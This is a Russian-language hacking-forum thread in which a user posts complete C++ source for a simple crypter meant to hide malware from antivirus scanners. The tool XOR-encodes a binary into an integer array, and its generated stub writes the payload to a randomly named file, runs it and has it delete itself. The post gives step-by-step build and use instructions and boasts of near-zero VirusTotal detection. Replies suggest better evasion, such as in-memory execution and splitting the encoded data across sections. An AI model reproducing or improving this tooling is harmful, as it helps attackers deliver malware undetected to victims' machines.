• XSS.stack #1 – первый литературный журнал от юзеров форума

Простой криптор или как скрыться от большинства антивирусов

poorMaryReid

floppy-диск
Пользователь
Регистрация
01.06.2022
Сообщения
9
Реакции
2
ALLERT: тему писал не шибко умный, так что просьба бросаться только тапками.

Антивирусы с времен динозавров очень любят реагировать на shellcode в коде, поэтому решил сделать shellcode в виде чисел(там уже как у кого фантазия, по двигайте байтами/битами).
Качал вирусы, упаковывал их в свой упаковщик, virustotal показывал почти 0 риска.
Все очень просто. Есть генератор кода, которому в аргументы кидаете вашу прогу. Он генерирует код и массив чисел из вашего бинарника, затем компилируете получившееся. Этот код во время работы распаковывает код вашего бинарника из массива uint32_t. (4 байта)
Если вам просто хочется получить по быстрому то что спрячет ваш вирус, просто копируйте код из листинга A, листайте в самый низ до "как юзать" и следуйте инструкциям.

Например хочу спрятать это(это как простой пример):

ЛИСТИНГ ЫЫ
C++:
int main(int argc, char**argv){
    remove(argv[0]);             //Удаляет сам себя
    while(1){
        std::cout<<rand();       //чтобы не потерять процесс в диспетчере задач(если запускаете как демон) 
    }
    return 0;
}
ВАЖНО: в начале вашего оригинального исполняемого файла сделайте так, чтобы он удалял себя. Если не можете этого сделать, измените исходники которые будут ниже.
Просто все было задумано так: упаковщик в рантайме расшифровывает и запускает ваше божество из массива 4 байтовых чисел. Ваше божество удаляет само себя, чтобы не было следов.

Не слишком вчитывайтесь в этот код, здесь главное - это то как она считывает бинарник и засовывает их в виде чисел в packed.cpp.
ЛИСТИНГ A
C++:
#include <string>
#include <cstring>
#include <fstream>
// впихивает 4 байта char из str в uint32_t, типа (c1<<24 | c2<<16 | c3<<8 | c4<<0)
// иногда size может быть не 4, а 3, 2, 1 например в конце бинарника
uint32_t getInt(const char*str, int size){
    static int o[4];
    for(int i = 0; i < 4; i++){
        o[i] = str[i];
        if(o[i] < 0)    // char  от -127 до 127, но а нам нужно от 0 до 255
            o[i]+=256;
    }
    uint32_t res= 0;
    for(int i =0; i < size; i++)
        res  |= (o[i])<<((3-i)*8);  //впихиваем байты.  на вид сложно, но все просто
    return res;
}
int main(int argc, char**argv){
    if(argc < 2){
        printf("USAGE %s arg\n", argv[0]);
        return 0;
    }
    char buffer[64];
    std::ifstream fin(argv[1]);
    std::ofstream fout("packed.cpp");
    fout<<"#include <cstring>\n"                               //код нашей программы, которую будем компилировать, ниже она будет приведена
        <<"#include <fstream>\n"
        <<"#include <ctime>\n";
    fout<<"void shell();\n"
        <<"int main(){\n\tshell();\n\treturn 0;\n}\n";
    fout<<"void write_shell(uint32_t*shellcode,int size, int endS){\n"
        <<"\tuint32_t n =0, ff = 0xff, key=123,four=3;\n"
        <<"\tunsigned int rr = time(NULL)^clock();\n\tsrand(rr);\n"
        <<"\tchar dname[30]=\"./\", buffer[5];\n\tchar*name = dname+2;\n\t"
        <<"for(int jj = 0; jj < 25; jj++)\n\t\tname[jj] = rand()%26 + 97;"
        <<"\n\tname[25] = '\\0';\n\tstd::ofstream fout(name);\n\t"
        <<"for(int i = 0; i < size; i++){\n\t\tn = shellcode[i];\n\t\tn^=key;\n\t\t"
        <<"if(i+1 == size && endS != 0)four = endS;\n\t\t"
        <<"for(int j = four; j >=0; j--){\n\t\t\tbuffer[j] = n & ff;\n\t\t\tn>>=8;\n\t\t}\n\t\t"
        <<"fout.write(buffer, 4);\n\t}\n\tfout.close();\n\tsystem(dname);\n}";
    fout<<"\n\n/*THAT'S SHELLCODE*/\nvoid shell(){\n\tuint32_t shellcode[]=\n\t{\n\t\t";
    int ind = 0, tkn = 40, e =0;
    uint32_t n = 0;
    long long middleN = 0;
    uint32_t key = 123;      //          ;(
    while(true){
        fin.read(buffer, 4);
        int s = fin.gcount();
        if(s<=0)
            break;
        else if(s!=4)
            e = s;
        buffer[s] = '\0';
        n = getInt(buffer, s);
        n^=key;                              //   простейший XOR. да, шифрование xor, глупо, но быстро.
        middleN+=n; 
        if(middleN  > 100000ll) //говно код, сорян. Чтобы более менее соблюдать размер массива в ширину
            tkn = 10;                                       //листайте ниже
        fout<<n<<", "; 
        if((++ind) % tkn == 0){
            fout<<"\n\t\t";
            middleN = 0;
            tkn = 40;
        }
    }
    fout<<"\n\t};\n\tint endS="<<e<<";\n\tint size="<<ind
            <<";\n\twrite_shell(shellcode, size, endS);\n}\n/*THAT'S END OF SHELLCODE*/";
    fout.close();
    fin.close();
    return 0;
}
//типа конец
Извините за такое большое колво кода, просто писал почти на коленке. Что в этом коде? Он считывает ваш бинарник по 4 байта(типа как числа) и записывает ваш бинарник в виде массива чисел в другие исходники, которые вы потом скомпилируете. Прикол в том, что с этими числами можно много что делать(двигать байтами как mirai ботнет). Антивирусы любят шелкоды, но не реагируют на большое скопление чисел.

И самое главное, что весь этот shit сгенерировал:
ЛИСТИНГ B
C++:
#include <cstring>
#include <fstream>
#include <ctime>
void shell();
int main(){
    shell();
    return 0;
}
void write_shell(uint32_t*shellcode,int size, int endS){
    uint32_t n =0, ff = 0xff, key=123,four=3;
    unsigned int rr = time(NULL)^clock();                         //измените на более надежный, если надо(в предыдущих исходниках, ведь они сгенерировали эти сорцы)
    srand(rr);
    char dname[30]="./", buffer[5];
    char*name = dname+2;
    for(int jj = 0; jj < 25; jj++)
        name[jj] = rand()%26 + 97;                                  //случайно заполняем имя нашего временного бинарника, который буквально через миллисекунду себя же удалит
    name[25] = '\0';
    std::ofstream fout(name);
    for(int i = 0; i < size; i++){
        n = shellcode[i];
        n^=key;
        if(i+1 == size && endS != 0)                                //если файл не делится на 4, то считываем после 3 или 2 или 1 байтов 
            four = endS;
        for(int j = four; j >=0; j--){
            buffer[j] = n & ff;
            n>>=8;
        }
        fout.write(buffer, 4);
    }
    fout.close();
    system(dname);                                                             //запускается ваш бинарник под рандомным именем файла
}

/*ЭТа  SHELLCODE*/
void shell(){
    uint32_t shellcode[] = {
        2135247933, 33620347, 123, 123, 50347643, 16777339, 3759145083, 123, 1073741947, 123,
        2017132667, 123, 123, 1073756283, 218120315, 520101499, 100663419, 67108987, 1073741947, 123,
        1073741947, 123, 1073741947, 123, 3624009851, 123, 3624009851, 123, 134217851, 123,
        50331771, 67108987, 402849915, 123, 402849915, 123, 402849915, 123, 469762171, 123,
        ...
        ...
        123, 123, 1530527867, 123, 436273275, 123, 123, 123, 16777339, 123,
        123, 123,
    };
    int endS=0;                                        //все это, весь этот код автоматически генерируется
    int size=4302;
    write_shell(shellcode, size, endS);
}

Мой код расшифровывает и записывает по 4 байта вашего бинарника из массива чисел в файл под случайным именем(25 рандомных букв). После этого он запускает этот файл. Ваш бинарник после этого (по идее) удаляем сам себя. Или после Sleep удаляйте ваш бинарник в распаковщике. Для этого измените
C++:
<<"fout.write(buffer, 4);\n\t}\n\tfout.close();\n\tsystem(dname);\n}";
на вот это:
C++:
<<"fout.write(buffer, 4);\n\t}\n\tfout.close();\n\tsystem(dname);Sleep(100);remove(dname);\n}";
Родитель будет удалять файл ребенка, грустно.


Как юзать

Все просто. Компилируйте код из листинга A, и в аргументы подавайте ваш бинарник, типа так:
Bash:
g++ A.cpp -o packager
./packager <ваш бинарник>
Это сгенерировало файл packed.cpp. Теперь компилируйте его:
Код:
g++ -s packed.cpp -o <типа название>
Важно скомпилировать с флагом -s, чтобы удалить таблицу. Теперь просто запустите и все ;)
./<типа название>
P.P.d.U.p.d. Сейчас пишу с линукса, возможно где-то что-то не сработает, пожалуйста напишите если найдете ошибку. Это мой первый пост, хочу понять кто я. Так что критика приветсвуется
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот только антивирусы реагируют на большие массивы, по этой же причине иногда ругается на статическую линковку dll внутри бинаря(когда длл переводится в массив чисел)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Нет никакого смысла, потому что ты записываешь бинарник на диск...
Еще на этапе вызова system(dname); антивирус орать начнет. (когда ещё бинарь не запустился)
В этом всём может и был бы смысл, если бы ты запускал бинарь в памяти, а не дропал на диск.
Потом очень сомневаюсь, что запись в виде 4 байт, а не 1 байта защитит от сигнатурного сканера. Хотя я не пробовал, может и работает.
Короче дроп на диск == сведение всей работы на 0. Это тоже самое, что и голый малварь закинуть, лол

UPD1: А зачем делать было функцию getInt, если есть union?
Сделал бы так
union _myinteger{
char a,b,c,d;
uint32_t all;
};
В a,b,c,d пихаешь байты и в all получаешь число
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Надо соблюдать баланс, иначе задетектят . Я пробовал делать подобное, т.е. переводил , грубо говоря, ехе в цифры. Но часть цифр лежало в ресурсах, часть в секции дата, а часть тупо генерилось кодом.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх